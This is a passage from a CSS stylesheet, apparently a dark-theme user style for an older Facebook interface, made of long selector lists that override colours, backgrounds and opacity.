!important;}\n\n.em,.story_comment_back_quote,.story_content,small,.story_content_excerpt,.walltext,.public,p span,#friends_page_subtitle,.main_title,.empty_message,.count,.count strong,.stories_not_included li span,.mobile_add_phone th,#friends strong,.current,.no_photos,.intro,.sub_selected a,.stats,.result_network,.note_body,#bodyContent div b,#bodyContent div,.upsell dt,.buddy_count_num strong,.left,.body,.tab .current,.aim_link span,.story_related_count,.admins span,.summary em,.fphone_number,.my_numbers_label,.blurb_inner,.photo_header strong,.note_content,.multi_friend_status,.current_path span,.current_path,.petition_header,.pyramid_summary strong,#status_text,.contact_email_pending em,.profile_needy_message,.paging_link div,.big_title,.fb_header_light,.import_status strong,.upload_guidelines ul li span,.upload_guidelines ul li span strong,#selector_status,.timestamp strong,.chat_notice,.notice_box,.text_container,.album_owner,.location,.info_rows dd,.divider,.post_user,div[style=\"color: rgb(101,107,111);\"] b,div[style=\"color: rgb(51,51,51);\"] b,.basic_info_summary_and_viewer_actions dd,.profile_info dd,.story_comment,p strong,th strong,.fstatus,.feed_story_body,.story_content_data,.home_prefs_saved p,.networks dd,.relationship_status dd,.birthday dd,.current_city dd,.UIIntentionalStory_Message,.UIFilterList_Selected a,.UIHomeBox_Title,.suggestion,.spell_suggest,.UIStoryAttachment_Caption,.fexth + td,.fext_short,#fb_menu_inbox_unread_count,.Tabset_selected .arrow .sel_link span,.UISelectList_check_Checked,.chat_fl_nux_header,.friendlist_status .title a,.chat_setting label,.UIPager_PageNum,.good_username,.UIComposer_AttachmentTitle,.rsvp_option:hover label,.Black,.comment_author span,.fan_status_inactive,.holder,.UIThumbPagerControl_PageNumber,.text_center,.nobody_selected,.email_promise,.blocklist ul,#advanced_body_1 label,.continue,.empty_albums,div[style*=\"color: black\"],.GBThreadMessageRow_Body_Content,.UIShareStage_Subtitle,#public_link_photo span,.GenericStory_Message,.UIStoryAttachment_Value,div[style*=\"color: black\"],.SearchPage_EmailSearchTitle,.uiTextSubtitle,.jewelHeader,.recent_activity_settings_label,.people_list_item,.uiTextTitle,.tab_box,.instant_personalization_title,.MobileMMSEmailSplash_Description,.MobileMMSEmailSplash_Tipsandtricks_Title,.fcb,input[value=\"Find Friends\"],#bodyContent,#bodyContent table,h6,.fbChatBuddylistError,.info dt,.bfb_options_minimized_hide,.connect_widget_connected_text,body.transparent_widget .connect_widget_not_connected_text,.connect_widget_button_count_count,.fbInsightsStatisticNumber,.fbInsightsTable thead th span,.header span,.friendlist_name a,.count .countValue,.uiHeaderTitle span,#about_text_less span,.uiStreamHeaderText,.navHeader,.uiAttachmentTitle,.fbProfilePlacesFilterText,.tagName,.ufb-dataTable-header-text,.ufb-text-content,.fb_content,.uiComposerAttachment .selected .attachmentName,.balloon-title,.cropMessage {color: #fff !important;}\n\n.bfb_post_action_container {opacity: .25 !important;}\n.bfb_post_action_container:hover {opacity: 1 !important;}\n\n.valid,.wallheader small,#photodate,.video_timestamp strong,.date_divider span,.feed_msg h5,.time,.item_contents,.boardkit_topic_updated,.walltime,.feed_time,.story_time,#status_time_inner,.written small,.date,div[style*=\"color: rgb(85,82,37)\"],.timestamp span,.time_stamp,.timestamp,.header_info_timestamp,.more_info div,.timeline,.UIIntentionalStory_Time,.fupdt,.note_timestamp,.chat_info_status_time,.comment_actions,.UIIntentionalStory_Time a,.UIUpcoming_Time,.rightlinks,.GBThreadMessageRow_Date,.GenericStory_Time a,.GenericStory_Time,.fbPrivacyPageHeader,.date_divider {color: #69f !important;}\n\n.textinput,select,.list_drop_zone,.msg_divide_bottom,textarea,input[type=\"text\"],input[type=\"file\"],input[type=\"search\"],input[type=\"input\"],input[type=\"password\"],.space,.tokenizer,input[type=\"hidden\"],#flm_new_input,.UITooltip:hover,.UIComposer_InputShadow,.searchroot input,input[name=\"search\"],.uiInlineTokenizer,input.text,input.nosave {background: rgba(0,0,0,.50) !important;-moz-appearance:none!important;color: #bbb !important;border: none !important;padding: 3px !important; }\n\ninput[type=\"text\"]:focus,textarea:focus,.fbChatSidebar .fbChatTypeahead .textInput:focus {box-shadow: 0 0 .5em #9cf,inset 0 0 .25em #69f !important;}\n\n.uiOverlayPageWrapper,#fbPhotoSnowlift,.shareOverlay,.tlPageRecentOverlay {background: -moz-radial-gradient(50% 50%,circle,rgba(10,10,10,.6),rgb(10,10,10) 90%) !important;}\n\n.bumper,.stageBackdrop {background: #000 !important;}\n#page_table {background: #333 }\n\n.checkableListItem:hover a,.selectedCheckable a {background: #69f !important; }\n\n.GBSearchBox_Input,.tokenizer,.LTokenizerWrap,#mailBoxItems li a:hover,.uiTypeaheadView .search .selected,.itemAnchor:hover,.notePermalinkMaincol .top_bar, .notification:hover a,#bfb_tabs div:not(.bfb_tab_selected),.bfb_tab,.navIdentity form:hover,.connect_widget_not_connected_text,.uiTypeaheadView li.selected,.connect_widget_number_cloud,.placesMashCandidate:hover,.highlight,#bfb_option_list li a:hover {background: rgba(0,0,0,.5) !important;}\n\n.results .page,.calltoaction,.results li,.fbNubFlyout,.contextualBlind,.bfb_dialog,.bfb_image_preview,input.text,.fbChatSidebar,.jewelBox,.clickToTagMessage,.tagName,.ufb-tip-body,.flyoutContent,.fbTimelineMapFilterBar,.fbTimelineMapFilter,.fbPhotoStripTypeaheadForm,.groupsSlimBarTop,.pas,.contentBox,.fbMapCalloutMain, .pagesVoiceBar {background: rgba(10,10,10,.75) !important;}\n\n#pageNav .tinyman:hover a,#navHome:hover a,#pageNav .tinyman a[style*=\"cursor: progress\"],#navHome a[style*=\"cursor: progress\"],#home_filter_list,#home_sidebar,#contentWrapper,.LDialog,.dialog-body,.LDialog,.LJSDialog,.dialog-foot,.chat_input,#contentCol,#leftCol,.UIStandardFrame_Content,.red_box,.yellow_box,.uiWashLayoutOffsetContent,.uiOverlayContent,.bfb_post_action_container,.connect_widget_button_count_count,.shaded,.navIdentitySub,.jewelItemList li a:hover,.fbSidebarGripper div,.jewelCount,.uiBoxRed,.videoUnit,.lifeEventAddPhoto,.fbTimelineLogIntroMegaphone,.uiGamesLeaderboardItem,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,.newInterestListNavItem:hover,.ogSliderAnimPagerPrevContent,.ogSingleStoryStatus,.ogSliderAnimPagerNextContent,.-cx-PRIVATE-uiDialog__body,.jewelItemNew .messagesContent {background: rgba(10,10,10,.5) !important;}\n\n#home_stream,pre,.ufiItem,.odd,.uiBoxLightblue,.platform_dialog_bottom_bar,.uiBoxGray,.fbFeedbackPosts,.mall_divider_text,.uiWashLayoutGradientWash, #bfb_options_body,.UIMessageBoxStatus,.tip_content .highlight,.fbActivity, .auxlabel,.signup_bar_container,#wait_panel,.FBAttachmentStage,.sheet,.uiInfoTable .name,.HCContents,#devsiteHomeBody .content,.devsitePage .nav .content,#confirm_phone_frame,.fbTimelineCapsule .timelineUnitContainer,.timelineReportContainer,.aboveUnitContent,.aboutMePagelet,#pagelet_tab_content_friends,#fbProfilePlacesBorder,#pagelet_tab_content_notes,.externalShareUnit,.fbTimelineNavigationWrapper .detail,.tosPaneInfo,.navSubmenu:hover,#bfb_donate_pagelet > div,.better_fb_mini_message,.uiBoxWhite,.uiLoadingIndicatorAsync,.mleButton,.fbTimelineBoxCount,.navSubmenu:hover,.gradient,.profileBrowserGrid tr > td > div,.statsContainer,#admin_panel,.fbTimelineSection, .escapeHatch, .ogAggregationPanelContent, .-cx-PRIVATE-fbTimelineExternalShareUnit__root, .shareUnit a, .storyBox {background: rgba(20,20,20,.4) !important;}\n\n.feed_comments,.home_status_editor,#rooster_container,.rooster_story,.UIFullPage_Container,.UIRoundedBox_Box,.UIRoundedBox_Side,.wallpost,.profile_name_and_status,.tabs_wrapper,.story,#feedwall_controls,.composer_well,.status_composer,.home_main_item,.feed_item,.HomeTabs_tab,#feed_content_section_applications li,.menu_separator,a[href=\"/friends\"],.feed_options_link,.show_all_link,.status,#newsfeed_submenu,.morecontent_toggle_link,.more_link,.composer_tabs,.bl,.profile_tab,.story_posted_item,.left_column,.pager_next,.admarket_ad,.box,.inside,.shade_b,.who_can_tab,.summary_simple,.footer_submit_rounded,.well_content,.info_section,.item_content,.basic_info_summary_and_viewer_actions dt,.info dt,.photo_table,.extra_content,.main_content,.search_inputs,.search_results,.result,.bar,.smalllinks span,.quiz_actionbox,.column,.note_header,.fdh,#fpgc,#fpgc td,.fmp,.fadvfilt,.fsummary,.frn,.two_column_wrapper,#new_ff,.see_more,.message_rows,.message_rows tr,.toggle_tabs li,.toggle_tabs li a,.notifications,.updates_all,.composer,.WelcomePage_MainSellContainer,.WelcomePage_MainSell,.media_gray_bg,.photo_comments_container,.photo_comments_main,.empty_message,.UIMediaHeader_Title,.UIMediaHeader_SubHeader,.footer_bar,.single_photo_header,#editphotoalbum,.covercheck,#newalbum,.panel,.album,.dh_titlebar,.page_content,.dashboard_header,.photos_header,.privacy_summary_items,.privacy_summary_item,.block_overview,.privacy_page_field,.editor_panel,.block,.action_box,.even_column,.mobile_account_inlay,.language,.confirm_boxes,.confirm,.status_confirm,.hasnt_app,.container, .UIDashboardHeader_TitleBar,.UIDashboardHeader_Container,.note,.UITwoColumnLayout_Container,.dialog_body,.dialog_buttons,.group_lists,.group_lists th,.group_list,.updates,.share_section,#profilenarrowcolumn,#profilewidecolumn,#inline_wall_post,.post_link_bar,.helppro_content,.answers_list_header,#help_titlebar,.new_user_guide,.new_user_guide_content,.flag_nav_item,.flag_nav_item a,.arrowlink a,#safety_page,#safety_page h5,.dashbar,.disclaimer,#store_options,#store_window,.step,.canvas_rel_positioning, .app_type a,.sub_selected a,.box_head,.inside_the_box,.app_about,.fallback,.box_subhead,.fbpage_card,#devsite_menubar,.content_sidebar,.side, .pBody li a,#p-logo,#p-navigation,#p-navigation .pBody,#bodyContent h1,#p-wiki,#p-wiki .pBody,#p-search,#p-search .pBody,#p-tb,#p-tb .pBody,#bodyContent table,#bodyContent table div,.recent_news,.main_news,.news_header, .devsite_subtabs li a,.middle-container,.feed_msg h4,.ads_info,.contact_sales,.wrapper h3,.presence_bar_button:hover,.icon_garden_elem:hover,#profile_minifeed,.focused,.dialog_summary,.tab span,.wallkit_postcontent h4,.address,#badges,.badge_holder,.aim_link,.user_status,.section_editor,.my_numbers,.photo_editor,.gift_rows,.sub_menu,.main-nav-tabs li a,.submenu_header,.new_gift,#profile_footer_actions,#status_bar,#summaryandpager,.userlist,#feedBody,#feedHeaderContainer,#feedContent,.feedBackground,.mixer_panel,.titles,.sliders,.slider_holder,.fbpage_title,.options,#linkeditorform,.sideNavItem .item,.typeahead_list_with_shadow,.module,.tc,.bc,.footer, .answer,.announcement,.basic_info_content,.slot,.boardkit_no_topics,.ranked_friend,.boardkit_subtitle,.filter-tabs,.level,.level_summary,.cause, .attachment_stage,.attachment_stage_area,.beneficiary_info,#info_tab,#feedwall_with_composer,.frni,.frni a,.flistedit,.fmp_delete,#feed_content_section_friend_lists li,.composer_tabs li:not(.selected),.menu_content li a,.view_on,.rounded-box,.ffriend,.tab_content,.wrapper_background,.full_container,.white_box,#friends li a,#inline_composer,.skin_body,.invite_tab_selected,.inside table,.matches_matches_box,.matches_content_box_subtitle,tr[fbcontext=\"41097bfeb58d\"],.dialog_body div div,.new_menu_off,.present_info_label,.import_status,.upload_guidelines,.tagger_border,.chat_info,.chat_conv_content,.chat_conv,.visibility_change,.pic_padding,.chat_notice,.chat_input_div,.wrapper,.toolbar_button,.toolbar_button_label,.pages_dashboard_panel,.no_pages,.divider,#filterview,#groupslist,.grouprow,.grouprow table,.board_topic,#big_search,#invitation_list,#invitation_wrapper,.emails_error, .outer_box,.inner_box,.days_remaining,.module,.submodule,.ntab,.ntab .tab_link,.grayheader,.inline_wall_post,.related_box,.home_box_wrapper,.two_column,.challenge_stats,.quiz_box, #fb_challenge,#fb_challenge_page,.challenge_leaderboard,.leaderboard_tile, .sidebar_upsell,.concerts_module,.container_box,#login_homepage,.user_hatch_bg,.pick_main,#homepage,.wall_post_body,.track,.HomeTabs_tab a,.minifeed,.alert_wrap,.logged_in_vertical_alert,.info_column,#public_listing_friends,#public_listing_pages,.gamertag_app,.gamerProfileBody,#photo_picker,.album_picker .page0 .row,.dialog_loading,.timeline,.partyrow,.partyrow table,#invite_list li,.group_info_section,#moveable_wide,.UIProfileBox_Content,.story_content,.settings_panel,.app_browser li,.photos_tab,.recent_notes,.side_note,.album_information,.results,.logged_out_register_vertical,.logged_out_register_wrapper,.deleted,.home_prefs_saved,.share_send,.header_divide,.thread_header,.message,.status_composer_inner,.fbpage_edit_header,.app_switcher_unselected,.status_placeholder,.UIComposer_TDTextArea, .UIHomeBox_Content,.UIHotStory,.home_welcome,.summary_custom,.source_list,.minor_section,.UIComposer_Attachment_TDTextArea,.info_diff span,.matches span,.menu_content,.UIcomposer_Dropdown_List,.UIComposer_Dropdown_Item,.feed_auto_update_settings,.container,.silver_footer,.friend_grid_col,.token > span,.tokenizer_input,.tokenizer_input *,#friends_multiselect,.flink_inner a:hover,#grouptypes,#startagroup p,.UICheckList,.FriendAddingTool_InnerMenu,.pagerpro li a:hover,#friend_filters,.fb_menu_count_holder,.hp_box,.view_all_link,.app_settings_tab,.tab_link,#flm_add_title,#flm_current_title,#flm_list_selector .selector,#friends_header,#friends_wrapper,.contacts_header,.contacts_wrapper,.row1,.show_advanced_controls,.FriendAddingTool_InnerMenu,.UISelectList,.UISelectList_Item,.UIIntentionalStory_CollapsedStories,.email_section,.section_header_bg,.rqbox,.ar_highlight,#buddy_list_panel,.panel_item,.friendlist_status,.options_actions a span,.chat_setting label,.toolbox,.chat_actions,.UIWell,.UIComposer_InputArea,.invite_panel,.apinote,.UIInterstitialBox_Container,.ical_section,.maps_brand,.divbox4,.lighteryellow,.fan_status_inactive,.UIBeeperCap,.footer_fallback_box,.footer_refine_search_company_school_box,.footer_refine_search_email_box,.UINestedFilterList_List,.UINestedFilterList_SubItem,.UINestedFilterList_Item_Link,.UINestedFilterList_Item_Link,.UINestedFilterList_SubItem_Link,.app_dir_app_summary,.app_dir_featured_app_summary,.app_dir_app_wide_summary,.profile_top_bar_container,.UIStream_Border,.question_container,.unselected_list label:nth-child(odd),.request_box,.showcase,.steps li,#fb_sell_profile div,.promotion,.UIOneOff_Container tabs,.whocan,.lock_r,.privacy_edit_link,.friend_list_container li:hover a,.email_field,.app_custom_content,#page,.thumb,.step_frame,.radioset,.radio_option,.page_option,.explanation_note,.card,.empty_albums,.right_column,.full_widget,.connect_top,.creative_preview,.creative_column,.UIAdmgrCreativePreview,.UIEMUASFrame,.banner_wrapper,.dashboard,.pages,#photocrop_instructions,.UIContentBox_GrayDarkTop,.UIContentBox_Gray,.UIContentBox,#FriendsPage_ListingViewContainer,.post_editor,.entry,.fb_dashboard,.spacey_footer,.thread,.post,.UIWashFrame_Content,table[bindpoint=\"thread_row\"],table[bindpoint=\"thread_row\"] tbody,.GBThreadMessageRow,.message_pane,.UIComposer_ButtonArea, .UIRoundedTransparentBox_Border,.feedbackView,.group,.streamPaginator,.nullStatePane,.inboxControls,.filterControls,.inboxView tr,.tabView,.tabView li a,.splitViewContent,.photoGrid,.albumGrid,.frame .img,.gridViewCrop,.gridView,.profileWall form,.story form,.formView,.inboxCompose,.LTokenizerToken,#icon_garden,#buddy_list_tab,#presence_notifications_tab,#editphotoalbum .photo,.UISuggestionList_SubContainer,.fan_action,.video_pane,.notify_option, .video_gallery,.video,.uiTooltip:not(.close):hover,.people_table,.people_table table,#main,#navlist li a.inactive,#rbar,.plays_bar,#fans,.updates_messages,.sent_updates_container,.subitem,#pagelet_navigation,.fbxWelcomeBox,.friends_online_sidebar,.uiTextHighlight,.tab_box,.bordered_list_item,.SettingsPage_PrivacySections,.profile-pagelet-section,.profileInfoSection,#pts_invite_section,.main_body,.masterControl,.masterControl .main,.linkbox,.uiTypeaheadView .search li,.language_form,#ads_privacy_examples,.fbPrivacyPage,.UIStandardFrame_SidebarAds,#sidebar_ads,#globalWrapper #content,.portlet,.pBody,.noarticletext,#catlinksm,.devsiteHeader,.devsiteFooter,.devsiteContent,.blockpost,.blockpost #topic,.blockpost .postleft,.blockpost .postfootleft,.fbRecommendation,.fbRecommendationWidgetContent,.add_comment,.connect_comment_widget .comment_content,.error,.even,.fbFeedbackPager,.uiComposerMessageBox,.facepileHolder,.notePermalinkMaincol,.profilePreviewHeader,.pageAttachment,.editExperienceForm,.tourSteplist,.tourSteplist ol,.uiStep,.uiStep:not(.uiStepSelected) .part, .uiStepSelected .part:not(.middle),.better_fb_cp,legend,.bfb_option_body div,.messaging_nux_header,.fbInsightsTable .odd td,.user.selected,.highlighter div b,.fbQuestionsBlingBox:hover,.friend_list_container,.jewelItemList li a:active,#bfb_tip_pagelet > div,.UIUpcoming_Item,.video_with_comments,.video_info,.fbFeedTickerStory,.fbFeedTicker.fixed_elem,.fbxPhoto .fbPhotoImageStage .stageContainer,#DeveloperAppBody > .content,.opengraph .preview,.coverNoImage,.fbTimelineScrubber,.fbTimelineAds,.fbProfilePlacesFilter,.fbFeedbackPost .UIImageBlock_Content,.permissionsViewEducation,.UIFaq_Container,#wizard,.captionArea,#bfb_options_content .option,.bfb_tab_selector,.UIMessageBoxExplanation,.uiStreamSubstories {background: rgba(20,20,20,.2) !important;}\n\n.uiSelector .uiSelectorButton,.UIRoundedBox_Corner,.quote,.em,.UIRoundedBox_TL,.UIRoundedBox_TR,.UIRoundedBox_BR,.UIRoundedBox_LS,.UIRoundedBox_BL,.profile_color_bar,.pagefooter_topborder,.menu_content,h3,#feed_content_section_friend_lists,ul,li[class=\"\"],.comment_box,.comment,#homepage_bookmarks_show_more,.profile_top_wash,.canvas_container,.composer_rounded,.composer_well,.composer_tab_arrow,.composer_tab_rounded,.tl,.tr,.module_right_line_block,.body,.module_bottom_line,.lock_b_bottom_line,#info_section_info_2530096808 .info dt,.pipe,.dh_new_media,.dh_new_media .br,.frn_inpad,#frn_lists,#frni_0,.frecent span,h3 span,.UIMediaHeader_TitleWash,.editor_panel .right,.UIMediaButton_Container tbody *,#userprofile,.profile_box,.date_divider span,.corner,.profile #content .UIOneOff_Container,.ff3,.photo #nonfooter #page_height,.home #nonfooter #page_height,.home .UIFullPage_Container,.main-nav,.generic_dialog,#fb_multi_friend_selector_wrapper,#fb_multi_friend_selector,.tab span,.tabs,.pixelated,.disabled,.title_header .basic_header,#profile_tabs li,#tab_content,.inside td,.match_link span,tr[fbcontext=\"41097bfeb58d\"] table,.accent,#tags h2,.read_updates,.user_input,.home_corner,.home_side,.br,.share_and_hide,.recruit_action,.share_buttons,.input_wrapper,.status_field,.UIFilterList_ItemRight,.link_btn_style span,.UICheckList_Label,#flm_list_selector .Tabset_selected .arrow,#flm_list_selector .selector .arrow .sel_link,.friendlist_status .title a,.online_status_container,.list_drop_zone_inner,.good_username,.WelcomePage_Container,.UIComposer_ShareButton *,.UISelectList_Label,.UIComposer_InputShadow .UIComposer_TextArea,.UIMediaHeader_TitleWrapper,.boxtopcool_hg,.boxtopcool_trg,.boxtopcool_hd,.boxtopcool_trd,.boxtopcool_bd,.boxtopcool_bg,.boxtopcool_b,#confirm_button,.title_text,#advanced_friends_1,.fb_menu_item_link,.fb_menu_item_link small,.white_hover,.GBTabset_Pill span,.UINestedFilterList_ItemRight,.GBSearchBox_Input input,.inline_edit,.feedbackView .comment th div,.searchroot,.composerView th div,.reply th div,.LTokenizer,.Mentions_Input,form.comment div,.ufi_section,.BubbleCount,.BubbleCount_Right,.UIStory,.object_browser_pager_more,.friendlist_name,.friendlist_name a,.switch,#tagger,.tagger_border,.uiTooltip,#reorder_fl_alert,.UIBeeper_Full,#navSearch,#navAccount,#navAccountPic,#navAccountName,#navAccountInfo,#navAccountLink,#mailBoxItems,#pagelet_chat_home h4,.buddy_row,.home_no_stories,#xpageNav li .navSubmenu,.uiListItem:not(.ufiItem),.uiBubbleCount,.number,.fbChatBuddylistPanel,.wash,.settings_screenshot,.privacyPlan .uiListItem:hover,.no_border,.auxiliary .highlight,.emu_comments_box_nub,.numberContainer,.uiBlingBox,.uiBlingBox:hover span,.callout_buttons,.uiWashLayoutEmptyGradientWash,.inputContainer,.editNoteWrapperInput,.fbTextEditorToolbar,.logoutButton input,#contentArea .uiHeader + .uiBoxGray,.uiTokenizer,#bfb_tabs,.profilePictureNuxHighlight,.profile-picture,#ci_module_list,.textBoxContainer,#date_form .uiButton,.insightsDateRange,.MessagingReadHeader,.groupProfileHeaderWash,.questionSectionLabel,.metaInfoContainer,.uiStepList ol,.friend_list,.fbFeedbackMentions,.bb .fbNubFlyoutHeader,.bb .fbNubFlyoutFooter,.fbNubFlyoutInner .fbNubFlyoutFooter,.gradientTop,.gradientBottom,.helpPage,.fbEigenpollTypeahead .plus,.uiSearchInput,.opengraph,#developerAppDetailsContent,.timelineLayout #contentCol,.attachmentLifeEvents,.fbProfilePlacesFilterBar,.uiStreamHeader,.uiStreamHeaderChronologicalForm,.inner .text,.pageNotifPopup,.uiButtonGroup,.navSubmenuPageLink,.fbTimelineTimePeriod,.bornUnit,.mleFooter,#bfb_filter_add_row,#bfb_options .option .no_hover,.fbTimelinePhotosSeparator h4 span,.withsubsections,.showMore,.event_profile_information tr:hover,.nux_highlight_nub,.uiSideNav .uiCloseButton,.uiSideNav .uiCloseButton input,.fb_content,.uiComposerAttachment .selected .attachmentName,.fbHubsTokenizer,.coverEmptyWrap,.uiStreamHeaderText,.pagesTimelineButtonPagelet,.fbNubFlyoutBody,#pageNav .tinyman:hover,#navHome:hover,.fbRemindersThickline,.uiStreamEdgeStoryLine hr,.uiInfoTable tbody tr:hover,.fbTimelineUFI,#contentArea,.leftPageHead,.rightPageHead,.anchorUnit,#pageNav .topNavLink a:focus,.timeline_page_inbox_bar,.uiStreamEdgeStoryLineTx,.pluginRecommendationsBarButton,.pluginRecommendationsBarTop table, .uiToken, .ogAggregationPanelText, .UFIRow {background: transparent !important;}\n\n.UIObject_SelectedItem,.sidebar_item_header,.announcement_title,#pagefooter,.selected:not(.key-messages):not(.key-events):not(.key-media):not(.key-ff):not(.page):not(.group):not(.user):not(.app),.date_divider_label,.profile_action,.blurb ,.tabs_more_menu,.more a span,.selected h2,.column h2,.ffriends,.make_new_list_button_table tr,.title_header,.inbox_menu,.side_column,.section_header h3 span,.media_header,#album_container,.note_dialog,.dialog,.has_app,.UIMediaButton_Container,.dialog_title,.dialog_content,#mobile_notes_announcement,.see_all,#profileActions,.fbpage_group_title,.UIProfileBox_SubHeader,#profileFooter,.share_header,#share_button_dialog,.flag_nav_item_selected,.new_user_guide_content h2,#safety_page h4,.section_banner,.box_head,#header_bar,.content_sidebar h3,.content_header,#events h3,#blog h3,.footer_border_bottom,.firstHeading,#footer,.recent_news h3,.wrapper div h2,.UIProfileBox_Header,.box_header,.bdaycal_month_section,#feedTitle,.pop_content,#linkeditor,.UIMarketingBox_Box,.utility_menu a,.typeahead_list,.typeahead_suggestions,.typeahead_suggestion,.fb_dashboard_menu,.green_promotion,.module h2,.current_path,.boardkit_title,.current,.see_all2,.plain,.share_post,.add-link,li.selected,.active_list a,#photoactions a:not(#rotaterightlink):not(#rotateleftlink),.UIPhotoTagList_Header,.dropdown_menu,.menu_content,.menu_content li a:hover,.menu_content li:hover,#edit_profilepicture,.menu_content div a:hover,.contact_email_pending,.req_preview_guts,.inputbutton,.inputsubmit,.activation_actions_box,.wall_content,.matches_content_box_title,.new_menu_selected,#editnotes_content,#file_browser,.chat_window_wrapper,.chat_window,.chat_header,.hover,.dc_tabs a,.post_header,.header_cell,#error,.filters,.pages_dashboard_panel h2,.srch_landing h2,.bottom_tray,.next_action,.pl-divider-container,.sponsored_story,.header_current,.discover_concerts_box,.header,.sidebar_upsell_header,.activity_title h2,.wall_post_title,#maps_options_menu,.menu_link,.gamerProfileTitleBar,.feed_rooster ,.emails_success,.friendTable table:hover,.board_topic:hover,.fan_table table:hover,#partylist .partyrow:hover,.latest_video:hover,.wallpost:hover,.profileTable tr:hover,.friend_grid_col:hover,.bookmarks_list li:hover,.requests_list li:hover,.birthday_list li:hover,.tabs li,.fb_song:hover,.share_list .item_container:hover,.written a:hover,#photos_box .album:hover,.people .row .person:hover,.group_list .group:hover,.confirm_boxes .confirm:hover,.posted .share_item_wide .share_media:hover,.note:hover,.editapps_list .app_row:hover,.my_networks .blocks .block:hover,.mock_h4,#notification_options tr:hover,.notifications_settings li:hover,.mobile_account_main h2,.language h4,.products_listing .product:hover,.info .item .item_content:hover,.info_section:hover,.recent_notes p:hover,.side_note:hover,.suggestion,.story:hover,.post_data:hover,.album_row:hover,.track:hover,#pageheader,.message:hover,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),.UITabGrid_Link:hover,.UIActionButton,.UIActionButton_Link,.confirm_button,.silver_dashboard,span.button,.col:hover,#photo_tag_selector,#pts_userlist,.flink_dropdown,.flink_inner,.grouprow:hover,#findagroup h4,#startagroup h4,.actionspro a:hover,.UIActionMenu_Menu,.UICheckList_Label:hover,.make_new_list_button_table,.contextual_dialog_content,#flm_list_selector .selector:hover,.show_advanced_controls:hover,.UISelectList_check_Checked,.section_header,.section_header_bg,#buddy_list_panel_settings_flyout,.options_actions,.chat_setting,.flyout,.flyout .UISelectList,.flyout .new_list,#tagging_instructions,.FriendsPage_MenuContainer,.UIActionMenu,.UIObjectListing:hover,.UIStory_Hide .UIActionMenu_Wrap,.UIBeeper,.branch_notice,.async_saving,.UIActionMenu .UIActionMenu_Wrap:hover,.attachment_link a:hover,.UITitledBox_Top,.UIBeep,.Beeps,#friends li a:hover,.apinote h2,.UIActionButton_Text,.rsvp_option:hover,.onglettrhi,.ongletghi,.ongletdhi,.ongletg,.onglettr,.ongletd,.confirm_block, .unfollow_message,.UINestedFilterList_SubItem_Selected .UINestedFilterList_SubItem_Link,.UINestedFilterList_SubItem_Link:hover,.UINestedFilterList_Item_Link:hover,.UINestedFilterList_Selected .UINestedFilterList_Item_Link,.app_dir_app_summary:hover,.app_dir_featured_app_summary:hover,.app_dir_app_wide_summary:hover,.UIStory:hover,.UIPortrait_TALL:hover,.UIActionMenu_Menu div,.UIButton_Blue,.UIButton_Gray,.quiz_cell:hover,.UIFilterList > .UIFilterList_Title,.message_rows tr:hover,.ntab:hover,.thumb_selected,.thumb:hover,.hovered a,.pandemic_bar,.promote_page,.promote_page a,.create_button a,.nux_highlight,.UIActionMenu_Wrap,.share_button_browser div,.silver_create_button,.painted_button,.flyer_button,table[bindpoint=\"thread_row\"] tbody tr:hover,.GBThreadMessageRow:hover,#header,.button:not(.close):not(.uiSelectorButton):not(.videoicon):not(.toggle),h4,button:not(.as_link),#navigation a:hover,.settingsPaneIcon:hover,a.current,.inboxView tr:hover,.tabView li a:hover,.friendListView li:hover,.LTypeaheadResults,.LTypeaheadResults a:hover,.dialog-title, .UISuggestionList_SubContainer:hover,.typeahead_message,.progress_bar_inner,.video:hover,.advanced_controls_link,.plays_val,.lightblue_box,.FriendAddingTool_InnerMenu .UISelectList,.gray_box,.uiButton:not(.uiSelectorButton),.fbPrivacyWidget .uiSelectorButton:not(.lockButton),.uiButtonSuppressed,#navAccount li:not(#navAccountInfo),.jewelHeader,.seeMore,#mailBoxItems li,#pageFooter,.uiSideNav .key-nf:hover,.key-messages .item:hover,.key-messages ul li:hover,.key-events ul li:hover,.key-media ul li:hover,.key-ff ul li:hover,.key-apps:hover,.key-games:hover,.uiSideNav .sideNavItem:not(.open) .item:hover,.fbChatOrderedList .item:hover a,.uiHeader,.uiListItem:not(.mall_divider):hover,.uiSideNav li.selected > a,.ego_unit:hover,.results,.bordered_list_item:hover,.fbConnectWidgetFooter,#viewas_header,.fbNubFlyoutTitlebar,.info_text,.stage,.masterControl .selected a,.masterControl .controls .item a:hover,.uiTypeaheadView .search,.gigaboxx_thread_hidden_messages,.uiMenu,.uiMenuInner,.itemAnchor,.gigaboxx_thread_branch_message,.uiSideNavCount,.uiBoxYellow,.loggedout_menubar_container,.pbm .uiComposer,.megaphone_box,.uiCenteredMorePager,.fbEditProfileViewExperience:hover,.uiStepSelected .middle,.GM_options_header,.bfb_tab_selected, #MessagingShelfContent,.connect_widget_like_button,.uiSideNav .open,.fbActivity:hover,.fbQuestionsPollResultsBar,.insightsDateRangeCustom,.fbInsightsTable thead th,.mall_divider,.attachmentContent .fbTabGridItem:hover,.jewelItemNew,#MessagingThreadlist .unread,.type_selected,.bfb_sticky_note,.UIUpcoming_Item:hover,.progress_bar_outer,.fbChatBuddyListDropdown .uiButton,.UIConnectControlsListSelector .uiButton,.instructions,.uiComposerMetaContainer,.uiMetaComposerMessageBoxShelf,#feed_nux,#tickerNuxStoryDiv,.fbFeedTickerStory:hover,.fbCurrentStory:hover,.uiStream .uiStreamHeaderTall,.fbChatSidebarMessage,.fbPhotoSnowboxInfo,.devsitePage .menu,.devsitePage .menu .content,#devsiteHomeBody .wikiPanel > div,.toolbarContentContainer,.fbTimelineUnitActor,#fbTimelineHeadline,.fbTimelineNavigation,.fbTimelineFeedbackActions,.timelineReportHeader,.fbTimelineCapsule .timelineUnitContainer:hover,.timelineReportContainer:hover,.fbTimelineComposerAttachments .uiListItem:hover span a,.timelinePublishedToolbar,.timelineRecentActivityLabel,.fbTimelineMoreButton,.overlayTitle,.friendsBoxHeader,.escapeHatchHeader,.tickerStoryAllowClick,.appInvite:hover,.fbRemindersStory:hover,.lifeEventAddPhoto 